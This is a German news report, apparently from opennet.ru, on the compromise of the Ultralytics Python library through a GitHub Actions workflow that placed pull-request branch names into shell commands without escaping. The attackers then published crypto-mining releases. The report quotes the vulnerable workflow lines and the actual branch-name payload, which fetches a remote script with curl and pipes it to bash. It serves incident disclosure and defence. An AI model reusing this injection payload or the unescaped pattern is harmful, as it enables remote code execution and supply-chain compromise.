Ein Fehler im GitHub Actions Handler führte zur Veröffentlichung von schädlichen Versionen von Ultralytics.

Die Angreifer konnten Code mit den Rechten eines GitHub Actions-Handlers im Repository der Python-Bibliothek Ultralytics ausführen, die für Aufgaben der Computer Vision wie die Objekterkennung in Bildern und die Segmentierung von Bildern verwendet wird. Nachdem sie Zugriff auf das Repository erhalten hatten, veröffentlichten die Angreifer mehrere neue Versionen von Ultralytics im PyPI-Katalog, die bösartige Änderungen zum Mining von Kryptowährungen enthielten. Im letzten Monat wurde die Ultralytics-Bibliothek mehr als 6,4 Millionen Mal aus dem PyPI-Katalog heruntergeladen.

Zur Kompromittierung des Repositories wurde eine Schwachstelle im Paket ultralytics-actions ausgenutzt, das für das automatische Ausführen von Handlers bei bestimmten Aktionen mit dem Repository auf GitHub verwendet wird, unter Verwendung des GitHub Actions-Mechanismus. Im Projekt ultralytics war der verwundbare Handler an das Ereignis pull_request_target gebunden und wurde bei neuen Pull-Requests aufgerufen. Insbesondere wurde der Handler format.yml für die Formatierung des Codes in den eingereichten Pull-Requests aufgerufen und der Code ausgeführt, der im Abschnitt "run" der Datei action.yml angegeben war, in der Shell-Befehle mit Platzhalter-Templates enthalten waren: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

So wurde der Name des Git-Branches, der im Pull-Request erwähnt wurde, ohne ordnungsgemäße Escapierung in die Shell-Befehle eingefügt. Bemerkenswert ist, dass im August im Paket ultralytics-actions bereits eine ähnliche Schwachstelle behoben wurde, die mit der Verwendung eines externen Wertes in der Funktion echo zusammenhing: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Um die Ausführung ihres Codes im Kontext des GitHub Actions-Handers zu organisieren, sendeten die Angreifer einen Pull-Request an das Repository ultralytics, wobei sie als Branch-Namen angaben: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Daher wurde beim Eingang des Pull-Requests die von den Angreifern angegebene Zeichenkette «$(…)» in den Code eingefügt, die bei der anschließenden Ausführung des Handlers zur Ausführung des Codes «curl -sSfL raw.githubusercontent.com/…/file.sh | bash» führte.

Ein Fehler im GitHub Actions Handler führte zur Veröffentlichung von schädlichen Versionen von Ultralytics.

Das Ausführen von Code im Kontext von GitHub Actions kann verwendet werden, um ein Zugriffstoken für das Repository und andere vertrauliche Daten zu erfassen. Wie genau es den Angreifern gelang, einen Release zu erstellen, indem sie die Ausführung ihres Codes in GitHub Actions ermöglichte, ist derzeit unklar. Es wird vermutet, dass dies durch eine Änderung des Handlers publish.yml möglich wurde (die Angreifer entfernten die Überprüfung des Kontos, von dem aus das Veröffentlichen von Releases in PyPI erlaubt ist) und durch die Verwendung der Technik der Vergiftung des Build-Caches von GitHub Actions, um ihre Daten in den Release einzufügen.

Der erste schadhafte Release von Ultralytics 8.3.41 wurde am 4. Dezember um 23:51 (MSK) von den Angreifern im PyPI-Katalog veröffentlicht und am nächsten Tag um 12:15 entfernt. Um 15:47 wurde ein weiterer Release 8.3.42 veröffentlicht, der um 16:47 entfernt wurde. Somit waren die schädlichen Versionen insgesamt etwa 13 Stunden lang zum Download verfügbar (an einem Tag werden im PyPI etwa 250.000 Downloads der Bibliothek ultralytics verzeichnet). In den Releases 8.3.41 und 8.3.42 war Code enthalten, der von externen Server Komponenten XMRig zum Mining von Kryptowährung herunterlädt.

Die Entwickler des Projekts haben das Problem behoben und die Korrektur-Releases 8.3.43 und 8.3.44 erstellt, doch zwei Tage später wurde ein weiterer Angriff durchgeführt, bei dem die Angreifer heute um 04:41 und 05:27 (MSK) zwei zusätzliche schadhafte Releases – 8.3.45 und 8.3.46 – veröffentlichten, die anderen Code für das Mining enthalten. Bis zur Klärung des Vorfalls wird den Benutzern empfohlen, mit der Installation neuer Versionen zu warten und die Version 8.3.44 in den Abhängigkeiten zu fixieren.

Quelle: opennet.ru

60GB SSD 8Gb DDR4